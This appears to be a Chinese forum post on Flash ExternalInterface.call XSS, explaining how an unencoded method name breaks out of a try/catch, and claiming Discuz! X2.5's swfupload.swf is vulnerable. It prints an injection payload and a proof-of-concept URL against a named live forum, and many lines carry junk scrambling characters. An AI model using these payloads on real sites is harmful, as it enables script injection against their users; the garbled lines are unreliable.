上回我们说4 a. {. ?3 S' ?/ J; H. F
2 } l3 e1 Z) f4 o0 I V
flash.external.ExternalInterface.call($methodName, $parameter)' s& {) V! l; H0 K! _% N/ q6 W; _
在浏览器中执行的是
7 P9 p# i8 r: g" }9 ?$ K3 ^/ z' S
* ]7 G* W9 W. z# M( Atry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
D2 [( P; K" B6 u: s3 R对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
# N& v% ?2 Q; }
; r( ?7 a3 C7 p9 Jflash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 E3 H& }+ v! b3 \$methodName = a())}catch(e){alert(/xss/)}//
- \8 h4 h. h% ?1 U2 h2 I1 K结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
8 p8 b4 q! S+ v6 U+ U: {: a3 b+ I8 }9 a" J
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }! n5 H# \. `( m+ c
: ?' X( s: P' P# A5 T
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! A% [5 l+ h! Q, l2 Z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。8 n7 _5 o/ w5 r' o+ Z# @
/ T! P$ z& e# S/ T
9 f. q V5 ]+ Z2 x' S! E+ T& G0 \" ^
3 |2 q5 o( J; q4 U' I. \漏洞文件:upload\static\image\common\swfupload.swf E8 H( r! ]' N" U, e7 Z9 x
' {' S" ~% x6 l$ b) P0 J. g0 y原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf; p( x; Y2 [( q, c5 g& `
5 I& A6 a- A& I n0 m m
" ^, x: e) N6 U2 ?8 s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
- |4 ~. r- N" \
. x7 U$ {3 B, i( p$ f4 `1 s2 O4 C. j! i) t# R
|